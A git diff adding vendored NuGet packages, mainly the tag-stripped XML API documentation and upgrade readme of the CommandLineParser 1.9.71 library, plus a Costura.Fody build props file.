+ Gets the short name of the option.
+
+ Returns the short name of the option.
+
+
+
+ Gets the long name of the option.
+
+ Returns the long name of the option.
+
+
+
+ Provides methods to parse command line arguments.
+
+
+
+
+ Default exit code (1) used by
+ and overloads.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ configurable with a object.
+
+ The object is used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Initializes a new instance of the class,
+ configurable with using a delegate.
+
+ The delegate used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+
+ A array of command line arguments.
+ An object's instance used to receive values.
+ Parsing rules are defined using derived types.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets the singleton instance created with basic defaults.
+
+
+
+
+ Gets the instance that implements in use.
+
+
+
+
+ This exception is thrown when a generic parsing error occurs.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+ Inner exception reference.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ The object that holds the serialized object data.
+ The contextual information about the source or destination.
+
+
+
+ Provides settings for . Once consumed cannot be reused.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ setting the case comparison behavior.
+
+ If set to true, parsing will be case sensitive.
+
+
+
+ Initializes a new instance of the class,
+ setting the used for help method output.
+
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and help output options.
+
+ If set to true, parsing will be case sensitive.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and mutually exclusive behaviors.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ If set to true, allow the parser to skip unknown argument, otherwise return a parse failure
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets or sets a value indicating whether perform case sensitive comparisons.
+
+
+
+
+ Gets or sets a value indicating whether set a mutually exclusive behavior.
+ Default is set to false.
+
+
+
+
+ Gets or sets the used for help method output.
+ Setting this property to null, will disable help screen.
+
+
+
+
+ Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it
+ encounter an unknown arguments
+
+
+ true to allow parsing the arguments with different class options that do not have all the arguments.
+
+
+ This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but
+ when these are unknown by the main program at build time.
+
+
+
+
+ Gets or sets the culture used when parsing arguments to typed properties.
+
+
+ Default is CurrentCulture of .
+
+
+
+
+ Represents the parser state.
+
+
+
+
+ Gets errors occurred during parsing.
+
+
+
+
+ Models a type that records the parser state after parsing.
+
+
+
+
+ Gets a list of parsing errors.
+
+
+ Parsing errors.
+
+
+
+
+ Models a parsing error.
+
+
+
+
+ Gets or a the bad parsed option.
+
+
+ The bad option.
+
+
+
+
+ Gets or sets a value indicating whether this violates required.
+
+
+ true if violates required; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates format.
+
+
+ true if violates format; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates mutual exclusiveness.
+
+
+ true if violates mutual exclusiveness; otherwise, false .
+
+
+
+
diff --git a/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll b/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll
new file mode 100644
index 0000000..d5497ef
Binary files /dev/null and b/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.dll differ
diff --git a/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.xml b/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.xml
new file mode 100644
index 0000000..4620bee
--- /dev/null
+++ b/packages/CommandLineParser.1.9.71/lib/net45/CommandLine.xml
@@ -0,0 +1,1390 @@
+
+
+
+ CommandLine
+
+
+
+
+ Provides base properties for creating an attribute, used to define rules for command line parsing.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class.
+ Validating and .
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Initializes a new instance of the class. Validating
+ and . This constructor accepts a as short name.
+
+ Short name of the option.
+ Long name of the option.
+
+
+
+ Gets a short name of this command line option. You can use only one character.
+
+
+
+
+ Gets long name of this command line option. This name is usually a single english word.
+
+
+
+
+ Gets or sets the option's mutually exclusive set.
+
+
+
+
+ Gets or sets a value indicating whether a command line option is required.
+
+
+
+
+ Gets or sets mapped property default value.
+
+
+
+
+ Gets or sets mapped property meta value.
+
+
+
+
+ Gets or sets a short description of this command line option. Usually a sentence summary.
+
+
+
+
+ Models an option specification.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option..
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Helper factory method for testing purpose.
+
+ An instance.
+
+
+
+ Models an option that can accept multiple values as separated arguments.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with no parameters and
+ return value.
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users. It is also recommended not to define a short one.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified short name. Use parameter less constructor instead.
+
+ The short name of the option.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Initializes a new instance of the class.
+ Allows you to define short and long option names.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Returns always false for this kind of option.
+ This behaviour can't be changed by design; if you try set
+ an will be thrown.
+
+
+
+
+ Models an option that can accept multiple values.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+
+
+
+ Initializes a new instance of the class.
+ The default long name will be inferred from target property.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option.
+ The long name of the option or null if not used.
+
+
+
+ Initializes a new instance of the class.
+
+ The short name of the option or null if not used.
+ The long name of the option or null if not used.
+ Values separator character.
+
+
+
+ Gets or sets the values separator character.
+
+
+
+
+ Indicates that the property can receive an instance of type .
+
+
+
+
+ Models a list of command line arguments that are not options.
+ Must be applied to a field compatible with an interface
+ of instances.
+
+ To map individual values use instead .
+
+
+
+ Initializes a new instance of the class.
+
+ A type that implements .
+ Thrown if is null.
+
+
+
+ Gets or sets the maximum element allow for the list managed by type.
+ If lesser than 0, no upper bound is fixed.
+ If equal to 0, no elements are allowed.
+
+
+
+
+ Gets the concrete type specified during initialization.
+
+
+
+
+ Maps a single unnamed option to the target property. Values will be mapped in order of Index.
+ This attribute takes precedence over with which
+ can coexist.
+
+ It can handle only scalar values. Do not apply to arrays or lists.
+
+
+
+ Initializes a new instance of the class.
+
+ The _index of the option.
+
+
+
+ Gets the position this option has on the command line.
+
+
+
+
+ Utility extension methods for System.Char.
+
+
+
+
+ Encapsulates property writing primitives.
+
+
+
+
+ Utility extension methods for System.String.
+
+
+
+
+ Gets or sets the assembly from which to pull information. Setter provided for testing purpose.
+
+
+
+
+ Utility extension methods for query target capabilities.
+
+
+
+
+ Maps unnamed options to property using and .
+
+
+
+
+ Helper method for testing purpose.
+
+ An argument enumerator instance.
+ The next input value.
+
+
+
+ Initializes a new instance of the class. Used for unit testing purpose.
+
+ Option short name.
+ Option long name.
+
+
+
+ Initializes a new instance of the class.
+ It is internal rather than private for unit testing purpose.
+
+ Initial internal capacity.
+ Parser settings instance.
+
+
+
+ Provides means to format an help screen.
+ You can assign it in place of a instance.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder.
+
+
+ A instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying heading string.
+
+ An heading string or an instance of .
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying the sentence builder and heading string.
+
+ A instance.
+ A string with heading or an instance of .
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Initializes a new instance of the class
+ specifying heading and copyright strings.
+
+ A instance.
+ A string with heading or an instance of .
+ A string with copyright or an instance of .
+ The instance that collected command line arguments parsed with class.
+ Thrown when one or more parameters are null or empty strings.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+
+
+
+ Creates a new instance of the class using common defaults.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ A delegate used to customize the text block for reporting parsing errors.
+ If true the output style is consistent with verb commands (no dashes), otherwise it outputs options.
+
+
+
+ Creates a new instance of the class using common defaults,
+ for verb commands scenario.
+
+
+ An instance of class.
+
+ The instance that collected command line arguments parsed with class.
+ The verb command invoked.
+
+
+
+ Supplies a default parsing error handler implementation.
+
+ The instance that collects parsed arguments parsed and associates
+ to a property of type .
+ The instance.
+
+
+
+ Converts the help instance to a .
+
+ This instance.
+ The that contains the help screen.
+
+
+
+ Adds a text line after copyright and before options usage strings.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text line at the bottom, after options usage string.
+
+ A instance.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with class.
+ Thrown when parameter is null.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Adds a text block with options usage string.
+
+ The instance that collected command line arguments parsed with the class.
+ The word to use when the option is required.
+ The maximum length of the help documentation.
+ Thrown when parameter is null.
+ Thrown when parameter is null or empty string.
+
+
+
+ Builds a string that contains a parsing error message.
+
+ An options target instance that collects parsed arguments parsed with the
+ associated to a property of type .
+ Number of spaces used to indent text.
+ The that contains the parsing error message.
+
+
+
+ Returns the help screen as a .
+
+ The that contains the help screen.
+
+
+
+ The OnFormatOptionHelpText method also allows derived classes to handle the event without attaching a delegate.
+ This is the preferred technique for handling the event in a derived class.
+
+ Data for the event.
+
+
+
+ Occurs when an option help text is formatted.
+
+
+
+
+ Gets or sets the heading string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the copyright string.
+ You can directly assign a instance.
+
+
+
+
+ Gets or sets the maximum width of the display. This determines word wrap when displaying the text.
+
+ The maximum width of the display.
+
+
+
+ Gets or sets a value indicating whether the format of options should contain dashes.
+ It modifies behavior of method.
+
+
+
+
+ Gets or sets a value indicating whether to add an additional line after the description of the option.
+
+
+
+
+ Gets the instance specified in constructor.
+
+
+
+
+ Models an abstract sentence builder.
+
+
+
+
+ Creates the built in sentence builder.
+
+ The built in sentence builder.
+
+
+
+ Gets a string containing word 'option'.
+
+ The word 'option'.
+
+
+
+ Gets a string containing the word 'and'.
+
+ The word 'and'.
+
+
+
+ Gets a string containing the sentence 'required option missing'.
+
+ The sentence 'required option missing'.
+
+
+
+ Gets a string containing the sentence 'violates format'.
+
+ The sentence 'violates format'.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness'.
+
+ The sentence 'violates mutual exclusiveness'.
+
+
+
+ Gets a string containing the error heading text.
+
+ The error heading text.
+
+
+
+ Models an english sentence builder, currently the default one.
+
+
+
+
+ Gets a string containing word 'option' in english.
+
+ The word 'option' in english.
+
+
+
+ Gets a string containing the word 'and' in english.
+
+ The word 'and' in english.
+
+
+
+ Gets a string containing the sentence 'required option missing' in english.
+
+ The sentence 'required option missing' in english.
+
+
+
+ Gets a string containing the sentence 'violates format' in english.
+
+ The sentence 'violates format' in english.
+
+
+
+ Gets a string containing the sentence 'violates mutual exclusiveness' in english.
+
+ The sentence 'violates mutual exclusiveness' in english.
+
+
+
+ Gets a string containing the error heading text in english.
+
+ The error heading text in english.
+
+
+
+ Models the copyright part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying author and year.
+
+ The company or person holding the copyright.
+ The year of coverage of copyright.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying author and copyrightYears.
+
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class
+ specifying symbol case, author and copyrightYears.
+
+ The case of the copyright symbol.
+ The company or person holding the copyright.
+ The copyrightYears of coverage of copyright.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is not supplied.
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class
+ with an assembly attribute, this overrides all formatting.
+
+ The attribute which text to use.
+
+
+
+ Converts the copyright instance to a .
+
+ This instance.
+ The that contains the copyright.
+
+
+
+ Returns the copyright as a .
+
+ The that contains the copyright.
+
+
+
+ When overridden in a derived class, allows to specify a new algorithm to render copyright copyrightYears
+ as a instance.
+
+ A array of copyrightYears.
+ A instance with copyright copyrightYears.
+
+
+
+ Gets the default copyright information.
+ Retrieved from , if it exists,
+ otherwise it uses as copyright holder with the current year.
+ If neither exists it throws an .
+
+
+
+
+ Gets a different copyright word when overridden in a derived class.
+
+
+
+
+ Models the heading part of an help text.
+ You can assign it where you assign any instance.
+
+
+
+
+ Initializes a new instance of the class
+ specifying program name.
+
+ The name of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Initializes a new instance of the class
+ specifying program name and version.
+
+ The name of the program.
+ The version of the program.
+ Thrown when parameter is null or empty string.
+
+
+
+ Converts the heading to a .
+
+ This instance.
+ The that contains the heading.
+
+
+
+ Returns the heading as a .
+
+ The that contains the heading.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter.
+
+ The message to write.
+ The target derived type.
+ Thrown when parameter is null or empty string.
+ Thrown when parameter is null.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard output stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Writes out a string and a new line using the program name specified in the constructor
+ and parameter to standard error stream.
+
+ The message to write.
+ Thrown when parameter is null or empty string.
+
+
+
+ Gets the default heading instance.
+ The title is retrieved from ,
+ or the assembly short name if its not defined.
+ The version is retrieved from ,
+ or the assembly version if its not defined.
+
+
+
+
+ Provides base properties for creating an attribute, used to define multiple lines of text.
+
+
+
+
+ Initializes a new instance of the class. Used in derived type
+ using one line of text.
+
+ The first line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using two lines of text.
+
+ The first line of text.
+ The second line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using three lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using four lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+
+
+
+ Initializes a new instance of the class. Used in type
+ using five lines of text.
+
+ The first line of text.
+ The second line of text.
+ The third line of text.
+ The fourth line of text.
+ The fifth line of text.
+
+
+
+ Returns the last line with text. Preserves blank lines if user intended by skipping a line.
+
+ The last index of line of the non-blank line.
+
+ The string array to process.
+
+
+
+ Gets the all non-blank lines as string.
+
+ A string of all non-blank lines.
+
+
+
+ Gets the first line of text.
+
+
+
+
+ Gets the second line of text.
+
+
+
+
+ Gets third line of text.
+
+
+
+
+ Gets the fourth line of text.
+
+
+
+
+ Gets the fifth line of text.
+
+
+
+
+ Models a multiline assembly license text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of license text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of license text.
+ Second line of license text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of license text.
+ Second line of license text.
+ Third line of license text.
+ Fourth line of license text.
+ Fifth line of license text.
+
+
+
+ Models a multiline assembly usage text.
+
+
+
+
+ Initializes a new instance of the class
+ with one line of text.
+
+ First line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with two lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with three lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with four lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+
+
+
+ Initializes a new instance of the class
+ with five lines of text.
+
+ First line of usage text.
+ Second line of usage text.
+ Third line of usage text.
+ Fourth line of usage text.
+ Fifth line of usage text.
+
+
+
+ Provides data for the FormatOptionHelpText event.
+
+
+
+
+ Initializes a new instance of the class.
+
+ Option to format.
+
+
+
+ Gets the option to format.
+
+
+
+
+ Indicates the instance method that must be invoked when it becomes necessary show your help screen.
+ The method signature is an instance method with that accepts and returns a .
+
+
+
+
+ Initializes a new instance of the class.
+ Although it is possible, it is strongly discouraged redefine the long name for this option
+ not to disorient your users.
+
+
+
+
+ Initializes a new instance of the class
+ with the specified long name. Use parameter less constructor instead.
+
+ Help verb option alternative name.
+
+ It's highly not recommended change the way users invoke help. It may create confusion.
+
+
+
+
+ Help verb command do not support short name by design.
+
+
+
+
+ Help verb command like ordinary help option cannot be mandatory by design.
+
+
+
+
+ Models a verb command specification.
+
+
+
+
+ Initializes a new instance of the class.
+
+ The long name of the verb command.
+
+
+
+ Verb commands do not support short name by design.
+
+
+
+
+ Verb commands cannot be mandatory since are mutually exclusive by design.
+
+
+
+
+ Models a bad parsed option.
+
+
+
+
+ Gets the short name of the option.
+
+ Returns the short name of the option.
+
+
+
+ Gets the long name of the option.
+
+ Returns the long name of the option.
+
+
+
+ Provides methods to parse command line arguments.
+
+
+
+
+ Default exit code (1) used by
+ and overloads.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ configurable with a object.
+
+ The object is used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Initializes a new instance of the class,
+ configurable with using a delegate.
+
+ The delegate used to configure
+ aspects and behaviors of the parser.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes.
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+
+ A array of command line arguments.
+ An object's instance used to receive values.
+ Parsing rules are defined using derived types.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Parses a array of command line arguments with verb commands, setting values in
+ parameter instance's public fields decorated with appropriate attributes. If parsing fails, the method invokes
+ the delegate, if null exits with .
+ This overload supports verb commands.
+
+ A array of command line arguments.
+ An instance used to receive values.
+ Parsing rules are defined using derived types.
+ Delegate executed to capture verb command name and instance.
+ The delegate executed when parsing fails.
+ True if parsing process succeed.
+ Thrown if is null.
+ Thrown if is null.
+ Thrown if is null.
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets the singleton instance created with basic defaults.
+
+
+
+
+ Gets the instance that implements in use.
+
+
+
+
+ This exception is thrown when a generic parsing error occurs.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ Error message string.
+ Inner exception reference.
+
+
+
+ Initializes a new instance of the class. The exception is thrown
+ when something unexpected occurs during the parsing process.
+
+ The object that holds the serialized object data.
+ The contextual information about the source or destination.
+
+
+
+ Provides settings for . Once consumed cannot be reused.
+
+
+
+
+ Initializes a new instance of the class.
+
+
+
+
+ Initializes a new instance of the class,
+ setting the case comparison behavior.
+
+ If set to true, parsing will be case sensitive.
+
+
+
+ Initializes a new instance of the class,
+ setting the used for help method output.
+
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and help output options.
+
+ If set to true, parsing will be case sensitive.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison and mutually exclusive behaviors.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Initializes a new instance of the class,
+ setting case comparison, mutually exclusive behavior and help output option.
+
+ If set to true, parsing will be case sensitive.
+ If set to true, enable mutually exclusive behavior.
+ If set to true, allow the parser to skip unknown argument, otherwise return a parse failure
+ Any instance derived from ,
+ default . Setting this argument to null, will disable help screen.
+
+
+
+ Finalizes an instance of the class.
+
+
+
+
+ Frees resources owned by the instance.
+
+
+
+
+ Gets or sets a value indicating whether perform case sensitive comparisons.
+
+
+
+
+ Gets or sets a value indicating whether set a mutually exclusive behavior.
+ Default is set to false.
+
+
+
+
+ Gets or sets the used for help method output.
+ Setting this property to null, will disable help screen.
+
+
+
+
+ Gets or sets a value indicating whether the parser shall move on to the next argument and ignore the given argument if it
+ encounter an unknown arguments
+
+
+ true to allow parsing the arguments with different class options that do not have all the arguments.
+
+
+ This allows fragmented version class parsing, useful for project with add-on where add-ons also requires command line arguments but
+ when these are unknown by the main program at build time.
+
+
+
+
+ Gets or sets the culture used when parsing arguments to typed properties.
+
+
+ Default is CurrentCulture of .
+
+
+
+
+ Represents the parser state.
+
+
+
+
+ Gets errors occurred during parsing.
+
+
+
+
+ Models a type that records the parser state after parsing.
+
+
+
+
+ Gets a list of parsing errors.
+
+
+ Parsing errors.
+
+
+
+
+ Models a parsing error.
+
+
+
+
+ Gets or a the bad parsed option.
+
+
+ The bad option.
+
+
+
+
+ Gets or sets a value indicating whether this violates required.
+
+
+ true if violates required; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates format.
+
+
+ true if violates format; otherwise, false .
+
+
+
+
+ Gets or sets a value indicating whether this violates mutual exclusiveness.
+
+
+ true if violates mutual exclusiveness; otherwise, false .
+
+
+
+
diff --git a/packages/CommandLineParser.1.9.71/readme.txt b/packages/CommandLineParser.1.9.71/readme.txt
new file mode 100644
index 0000000..e83814e
--- /dev/null
+++ b/packages/CommandLineParser.1.9.71/readme.txt
@@ -0,0 +1,79 @@
+Command Line Parser Library 1.9.71.2 stable
+------------------------------------------
+Giacomo Stelluti Scala
+(gsscoder@gmail.com)
+
+GitHub (Latest Sources, Updated Docs): https://github.com/gsscoder/commandline
+Codeplex (Binary Downloads): http://commandline.codeplex.com/
+
+Remarks:
+ - IParser and IParserSettings interface were removed.
+
+Upgrading from < 1.9.6.1 rc1:
+-----------------------------
+Now CommandLine.Parser is defiend as:
+interface CommandLine.Parser {
+ bool ParseArguments(string[] args, object options);
+ bool ParseArguments(string[] args, object options, Action onVerbCommand);
+ bool ParseArgumentsStrict(string[] args, object options, Action onFail = null);
+ bool ParseArgumentsStrict(string[] args, object options, Action onVerbCommand, Action onFail = null);
+}
+Please refer to wiki (https://github.com/gsscoder/commandline/wiki).
+For help screen in verb command scenario use new HelpText::AutoBuild(object,string).
+
+Upgrading from < 1.9.4.91 versions:
+-----------------------------------
+- Use System.Char for short name:
+ [Option('o', "my-option", DefaultValue=10, HelpText="This is an option!")]
+ public int MyOption { get; set; }
+- Receive parsing errors without CommandLineOptionsBase (removed):
+ public class Options {
+ [ParserState]
+ public IParserState LastParserState { get; set; }
+ }
+- Types rename:
+ MultiLineTextAttribute -> MultilineTextAttribute (first 'L' -> lowercase)
+ CommandLineParser -> Parser (suggestion: qualify with namespace -> CommandLine.Parser).
+ ICommandLineParser -> IParser
+ CommandLineParserSettings -> ParserSettings
+ CommandLineParserException -> ParserException
+
+Upgrading from 1.8.* versions:
+------------------------------
+The major API change is that all attributes that inherits from BaseOptionAttribute now
+apply only to properties. Fields are no longer supported.
+
+Old Code:
+---------
+class Options {
+ [Option("o", "my-option", HelpText="This is an option!")]
+ public int MyOption = 10;
+}
+
+New Code:
+---------
+class Options {
+ [Option("o", "my-option", DefaultValue=10, HelpText="This is an option!")]
+ public int MyOption { get; set; }
+}
+
+As you can see I've added the new DefaultValue property to help you initialize properties.
+
+Shortcut for Help Screen
+------------------------
+[HelpOption]
+public string GetUsage()
+{
+ return HelpText.AutoBuild(this,
+ (HelpText current) => HelpText.DefaultParsingErrorsHandler(this, current));
+}
+
+Note:
+-----
+If you don't use mutually exclusive options, now there's a singleton built for common uses:
+
+if (CommandLineParser.Default.ParseArguments(args, options)) {
+ // consume values here
+}
+
+Have fun!
diff --git a/packages/Costura.Fody.3.3.3/.signature.p7s b/packages/Costura.Fody.3.3.3/.signature.p7s
new file mode 100644
index 0000000..df03280
Binary files /dev/null and b/packages/Costura.Fody.3.3.3/.signature.p7s differ
diff --git a/packages/Costura.Fody.3.3.3/Costura.Fody.3.3.3.nupkg b/packages/Costura.Fody.3.3.3/Costura.Fody.3.3.3.nupkg
new file mode 100644
index 0000000..ef2b0d4
Binary files /dev/null and b/packages/Costura.Fody.3.3.3/Costura.Fody.3.3.3.nupkg differ
diff --git a/packages/Costura.Fody.3.3.3/build/Costura.Fody.props b/packages/Costura.Fody.3.3.3/build/Costura.Fody.props
new file mode 100644
index 0000000..9b3d7c9
--- /dev/null
+++ b/packages/Costura.Fody.3.3.3/build/Costura.Fody.props
@@ -0,0 +1,12 @@
+
+
+
+ netclassicweaver
+ netstandardweaver
+
+
+
+
+
+
+
\ No newline at end of file
